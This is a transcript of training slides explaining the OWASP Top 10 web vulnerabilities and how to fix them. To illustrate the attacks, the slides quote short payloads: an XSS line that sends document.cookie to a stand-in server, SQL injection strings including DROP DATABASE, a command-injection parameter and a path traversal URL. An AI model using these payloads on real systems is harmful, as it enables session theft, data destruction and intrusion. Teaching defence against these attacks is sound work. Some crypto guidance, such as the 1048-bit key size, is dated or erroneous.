Transcript OWASP Top 10 2007

Application Security
For 2007
1
Objectives
Understand OWASP Top 10
Understand methodology used to choose OWASP
Top 10 for 2007 and 2010
Identify and Remediate vulnerabilities
from OWASP Top 10
2
Billing
Human Resrcs
Directories
APPLICATION
ATTACK
Web Services
Custom Developed
Application Code
Legacy Systems
Your security “perimeter” has huge
holes at the application layer
Databases
Application Layer
Your
Code
is Part
of Your
Security
Perimeter
Your
Code
is Part
of Your
Security
Perimeter
Web Server
Hardened OS
Firewall
Firewall
Network Layer
App Server
You can’t use network layer protection (firewall, SSL, IDS, hardening)
to stop or detect application layer attacks
3
Common Security Issues: The
OWASP Top 10 2007
The Ten Most Critical
Aimed to educate developers, architects and security
practitioners about the consequences of the most common
web application security vulnerabilities
Living document: 2007 T10 different from 2004 T10
OWASP Top 10 2010 rc1 just released last week in
AppSec DC conference
4
OWASP Top 10
Users and Adopters
Payment Card Industry (PCI)
PCI DSS - Requirements 6.5.1 - 6.5.10 is OWASP Top 10
PA-DSS - Requirements 5.2.1 – 5.2.10 is OWASP Top 10
Security code review for all the custom code
OWASP Supporters
5
Common Security Issues:
OWASP Top 10 2007
6
Common Security Issues:
Top 10 Methodology for 2007
Take the MITRE Vulnerability Trends for 2006, and distill the
Top 10 web application security issues
7
OWASP Top Ten 2007 and ESAPI
(Enterprise Security API)
8
OWASP Top 10 2010
What’s changed?
9
OWASP Top 10 2010
Risk Rating Methodology
10
Mapping from 2007 to 2010 Top 10
11
The ‘new’ OWASP Top 10
(2010 rc1)
12
A1 – Cross Site Scripting (XSS)
13
A1. Cross Site Scripting
Occurs any time…
Raw data from attacker is sent to an innocent user
Raw data…
Stored in database
Reflected from web input (form field, hidden field, url, etc…)
Sent directly into rich JavaScript client – Dom Injection
Virtually every web application has this problem
Try this in your browser
<script>javascript:alert(document.cookie)</script>
14
A1. Cross Site Scripting Illustrated
1
Attacker sets the trap – update my profile
Application with stored
XSS vulnerability
Communication
Knowledge
Mgmt
E-Commerce
Bus. Functions
Victim views page – sees attacker profile
Administration
Transactions
2
Accounts
Finance
Attacker enters a malicious
script into a web page that
stores the data on the server
Custom Code
Script runs inside victim’s
browser with full access to
the DOM and cookies
3
Script silently sends attacker Victim’s session cookie
<img
src="http://server/s?p="
+ document.cookie />
15
A1. Remediate Cross Site
Scripting
Enforce white list, server - side input data validation
Enforce output encoding
< becomes &lt;,
> becomes &gt;
& becomes &amp; and
" becomes &quot
<script> -> &lt;script&gt; (markup)
ESAPI -> Encoder and Validator
Specify output encoding
16
A2 – Injection Flaws
17
A2. Injection Flaws (cont)
Injection means…
Tricking an application into including unintended commands in
the data sent to an interpreter
Interpreters…
Take strings and interpret them as commands
SQL, OS Shell, LDAP, XPath, etc…
SQL injection is still quite common
Many applications still susceptible
18
A2. Injection Flaws (cont)
What are injection flaws?
User Name: Sam
Password: 123xyz
SELECT * FROM USERS WHERE USERNAME=‘Sam' AND
PASSWORD='123xyz’
User Name: Sam
Password: '; DROP DATABASE MAIN_DATABASE; -SELECT * FROM USERS WHERE USERNAME=‘Sam' AND
PASSWORD=' '; DROP DATABASE MAIN_DATABASE; -- '
19


ATTACK
Custom Code
DB Table


Billing
Directories
Human Resrcs

Web Services
HTTP
SQL
response
query

HTTP
request
APPLICATION
Legacy Systems
Databases
Communication
Knowledge Mgmt
E-Commerce
Bus. Functions
Administration
Transactions
Accounts
Finance
Application Layer
SQL Injection – Illustrated
"SELECT
* FROM
Account Summary
Account:
accounts WHERE
SKU:
Acct:5424-6066-2134-4334
acct=‘’
OR 1=1-Acct:4128-7574-3921-0192
’"
Acct:5424-9383-2039-4029
Acct:4128-0004-1234-0293
1. Application presents a form to
the attacker
2. Attacker sends an attack in the
form data
App Server
3. Application forwards attack to
the database in a SQL query
Firewall
Hardened OS
Firewall
Network Layer
Web Server
4. Database runs query containing
attack and sends encrypted
results back to application
5. Application decrypts data as
normal and sends results to the
user
20
A2. Remediate Injection Flaws
Validate and Filter user input to remove special characters:
' " ` ; * % _ =&\|*?~<>^()[]{}$\n\r
Output encode all user supplied input
Use SQL Parameterized Queries instead of dynamic SQL
generation:
SELECT * FROM users WHERE username=?
JAVA EE - use strongly typed “PreparedStatement”
Use stored procedures to reduce the risk of SQL injection
Limit write database privileges for application’s Functional
ID (no DROP privileges!)
Avoid detailed error messages (e.g. SQL Exception
Information) that are useful to an attacker
21
A2. Remediate Injection Flaws
(cont)
22
A3 – Malicious File Execution
23
A3. Malicious File Execution
Issue Occurs when …
Attacker can influence an application to reference,
upload, or create reference to a malicious file that gets
executed
Threats
Arbitrary commands can be run in the application context
by the operating system
Malicious files (e.g. script) can be executed on the
application server
If attackers can run their code on your server then it isn't
your server anymore
24
A3. Malicious File Execution
Example Scenarios
Very frequent flaw in PHP, but can occur in:
XSLT transforms,
batch file includes,
log files
Application accepts name of file to execute as input
Attacker supplies unauthorized reference to code (usually an
attack script)
Remote root kit installation
Hostile data can be uploaded
Access the default FileServlet
Hostile XML data
25
A3. Malicious File Execution
Example
Remote code execution when using runtime.exec()
If a user passes the following information in the cmd parameter:
cmd=%3B+mkdir+hackerDirectory
At the code level:
cmdArray[0] = "cmd.exe /C" ;
String fromRequest = “%3B+mkdir+hackerDirectory”
cmd[1] = "dir \""+fromRequest+"\"";
Process process = runtime.exec(cmd);
Final command executed is:
cmd.exe /C “dir; mkdir hackerDirectory”
26
A3. Malicious File Execution
Example (cont)
A common vulnerable construct is for accessing sensitive
files like web.xml would be
String dir = s.getContext().getRealPath("/ebanking")
String file = request.getParameter(“file”);
File f = new File((dir + "\\" + file).replaceAll("\\\\", "/"));
where a possible attack vector might be:
www.victim.com/ebanking?file=../../web.xml
27
A3. Malicious File Execution Illustrated
1
Attacker sends request that specifies the path to a
malicious file in a parameter
Communication
Knowledge
Mgmt
E-Commerce
Bus. Functions
Attacker views results
of executing the attack,
or takes control of the
affected server
Administration
Transactions
3
Accounts
Finance
Attacker changes a
parameter which is supplied
to a file inclusion function
Custom Code
2
Application includes the
specified file and
executes the contents
File System
28
A3. Remediate Malicious File
Execution
No User controllable input for operating system command
Outline all acceptable values reject all others
Query or hash table lookup to verify the value
Use indirect object reference
Not: <option value="dataFile">dataFile</option>
Use: <option value="1">dataFile</option>
Encoded commands are escaped before execution
Consider saving uploaded file in databases
No default FileServlet
Use ESAPI -> HttpUtilities
29
A4 – Insecure Direct Object Reference
30
A4. Insecure Direct Object
Reference
An attacker can manipulate direct object references to access other
objects without authorization, unless an access control check is in
place
How do you protect access to data and other objects?
This is part of enforcing proper “authorization”, along with A10:
Failure to Restrict URL Access
Frequently enforced by
Only listing the ‘authorized’ objects for the current user
Hiding the object references in hidden fields
31
A4. Insecure Direct Object
Reference Illustrated
https://www.onlinebank.com/user?acct=6065
Attacker notices his acct
parameter is 6065
?acct=6065
He modifies it to a nearby
number
?acct=6066
Attacker views the victim’s
account information
32
A4. Remediate Insecure Direct
Object Reference
Avoid exposing direct object references to users If a
direct object reference must be used, ensure that the user is
authorized before using it
Avoid exposing your private object references to users
such as primary keys or filenames
Validate any private object references extensively with an
"accept known good" approach
33
A4. Remediate Insecure Direct
Object Reference (cont)
Verify authorization to all referenced objects Use an
index value or a reference map to prevent parameter
manipulation attacks
Input does not contain attack patterns like ../ or %00
Check the integrity of parameters
Server – side authorization
34
A5 – Cross Site Request Forgery (CSRF)
35
A5. Cross Site Request Forgery
Cross Site Request Forgery (CSRF)
An attack where the victim’s browser is tricked into issuing a
command to a vulnerable web application
Imagine…
What if a hacker could steer your mouse and get you to click on
links in your online banking application?
What could they make you do?
Attackers can use CSRF to…
Initiate transactions (transfer funds, logout user, close account,
etc…)
Access sensitive data
Change account details
And much more…
36
A5. Cross Site Request Forgery
Illustrated
37
A5. Remediate Cross Site Request
Forgery
Make sure there is no XSS vulnerabilities
Do not use GET requests for sensitive data or to perform
high risk transactions. Only use POST requests
Re-authenticate and perform out of band verification when
performing high risk transactions
Insert custom random tokens into every form and URL.
HTTP Data Integrity Validator framework and
org.apache.struts2.components token
Verify the Content-Type to protect calls to Ajax functions and
web services
Check HTTP Referrer header to detect hacking attempts
38
A6 – Information Leakage and Improper Error Handling
39
A6. Information Leakage and
Improper Error Handling
Web applications leak information and encounter error conditions
Frequently this invokes untested code paths
Attackers learn about your application through error messages
Identify attacks and handle appropriately
Never show a user a stack trace
If someone is attacking you, don’t keep trying to help
But how do you know which errors are attacks?
Most web applications are quite fragile
Especially when you use a tool like WebScarab
40
A6. Information Leakage and
Improper Error Handling Illustrated
Many security mechanisms fail
open
–
–
–
isAuthenticated()
isAuthorized()
isValid()
Bad logic (i.e., fail open)
if (!security_test())
then return false
return true
Good logic (i.e., fail secure)
if (security_test())
then return true
return false
41
A6. Remediate Information Leakage
and Improper Error Handling
Use centrailized exception handling
Do not display stack traces on the screen or any information
which will let attacker know the architecture of the application
Ensure that secure paths that have multiple outcomes
return similar or identical error messages in roughly the
same time
Don’t write sensitive information in the log
42
A7 – Broken Authentication and Session Management
43
A7. Broken Authentication and Session
Management
Broken authentication and session management vulnerabilities occur
when applications fail to properly protect credentials and session
tokens throughout their lifecycle
Threats
Spoofing of the credentials
Hijacking of user or administrative accounts
Broken authentication involve using weak or no authentication
44
A7. Session Management
Common session management issues include:
Session tokens not re-issued after authentication,
Not marked secure
Passed in clear
Passed via GET requests
With guessable values
Remaining active after logout and idle logout.
45
A7. Broken Authentication
Illustrated
www.boi.com?JSESSIONID=9FA1DB9EA...
Site uses URL rewriting
(i.e., put session in URL)
3
2
Custom Code
User clicks on a link to http://www.hacker.com in a
forum
Hacker checks referrer logs on www.hacker.com
and finds user’s JSESSIONID
Hacker uses JSESSIONID and
takes over victim’s account
tion
Knowledge
Mgmt
ECommerce
Bus.
Functions
User sends credentials
Accounts
Finance
Administrat
ion
Transaction
s
Communica
1
4
46
A7. Remediate Broken
Authentication
Authentication
Do not use weak form authentication such as BASIC
Ensure that SSL is used to protect credentials in transit
Ensure that logins start with an encrypted web page
Ensure that logouts are available in every page
Use trusted authentication
Implement idle time-out
Enforce password complexity
Implement audit logging
Implement safe way of resetting password and email
47
A7. Remediate Broken Session
Management
Session IDs
Invalidate the existing Session ID before authentication
Issue a new Session ID after authentication
Invalidate this Session ID on logout
session.removeAttribute("User");
session.invalidate();
Set secure flag defaults to TRUE
Pass session IDs in secure cookies instead of in URL
parameters
Use POST instead of GET when passing sensitive
parameters
Should be random (128 bit)
48
A8 – Insecure Cryptographic Storage
49
A8. Cryptographic Storage
Threats
Disclosure of customer sensitive information,
Exposure of authentication data to unauthorized users
Exposure of secrets such as keys and challenge response
answers
The most common problems are:
Not encrypting sensitive data
Using home grown algorithms
Insecure use of strong algorithms
Continued use of proven weak algorithms (MD5, SHA-1, RC3,
RC4, etc…)
Failure to protect secrets such as private keys via hard-coding
and unprotected access
50
A8. Cryptographic Storage
Illustrated
Communication
Knowledge
Mgmt
E-Commerce
Bus. Functions
Administration
Transactions
Accounts
Finance
1
Victim enters credit card
number in form
Custom Code
4
Malicious insider steals 4
million credit card
numbers
Logs are accessible to all
members of IT staff for
debugging purposes
Log files
Error handler logs CC details
because merchant gateway is
unavailable
2
3
51
A8. Remediate Insecure
Cryptographic Storage
Use approved algorithms
(e.g. AES, RSA, SHA-256 instead of Blowfish, RC4, SHA1, MD5)
and recommended key strength (128 bit for symmetric and 1048 for
public)
Encrypt authentication credentials in storage and transit
Protect PII and customer sensitive data in storage and transit as
appropriate
Do not store credit card data (CVV2, magnetic strip information)
see PCI compliance
Store keys in secure repositories
Use HSM and secure key storage such as CryptoAPI or Java Key
Store
ESAPI -> Encryptor
52
A9 – Insecure Communications
53
A9. Insecure Communications
Transmitting sensitive data insecurely
Identify all sensitive data
Identify all the places where sensitive data is sent
 On the web, backend databases, business partners, internally
Issue
Failure to encrypt network traffic to protect sensitive
communications.
Not using SSL for communication with end users as well as the
back-end.
Threats
Identity theft, financial fraud
Non-compliance with privacy regulations and standards
Loss of sensitive data such as credit card information, bank account
information and health care information
54
A9. Insecure Communications
Illustrated
Business Partners
External Victim
Custom Code
Backend Systems
Employees
1
External attacker
steals credentials and
data off network
2
Internal attacker steals
credentials and data from
internal network
External Attacker
55
A9. Remediate Insecure
Communications
Use SSL
For all connections that are authenticated
When transmitting credentials, credit card details, health
and other private information
Use transport layer and link layer security
Between web servers and application servers and back
end systems and repositories
For PCI compliance
You must protect credit card holder data in transit
(mandatory by 2008 for merchants and anyone dealing
with CC)
56
A10 – Failure to Restrict URL Access
57
A10. Failure to Restrict URL
Access
How do you protect access to URLs (pages)?
This is part of enforcing proper “authorization”, along with A4:
securing direct object references
Issue
"Hidden" or "special" URLs, rendered only to administrators but
accessible to all users if they know it exists
Left over pages for authorization left during development
Access control policy -> Out of date or insufficient
Evaluates privileges only on client
58
A10. Failure to Restrict URL
Access
https://www.onlinebank.com/user/getAccounts
Attacker notices the URL
indicates his role
/user/getAccounts
He modifies it to another
directory (role)
/admin/getAccounts, or
/manager/getAccounts
Attacker views more accounts
than just their own
59
A10. Remediate Failure to Restrict
URL Access
RBAC (Role based Access Control)
Enforced Role based Access Control on the server side
Every step of the way
Do not use security by obscurity
No HIDDEN parameters
Enforce white list filtering
Enable the Java security manager
Virus protection and patches to components
HTTP Data Integrity Validator -> only allows access to URLs that
have been returned to the user
ESAPI -> AccessController
60
Summary: How do we address
these problems?
Develop Secure Code
Follow the best practices in OWASP’s Guide to Building Secure Web
Applications
http://www.owasp.org/index.php/Guide
Use OWASP’s Application Security Verification Standard as a guide to
formulate an application needs to be secure
http://www.owasp.org/index.php/ASVS
Use standard security components
OWASP’s ESAPI
http://www.owasp.org/index.php/ESAPI

Review Your Applications
Review your applications yourselves using following Guidelines
OWASP Code Review Guide:
http://www.owasp.org/index.php/Code_Review_Guide
OWASP Testing Guide:
http://www.owasp.org/index.php/Testing_Guide
61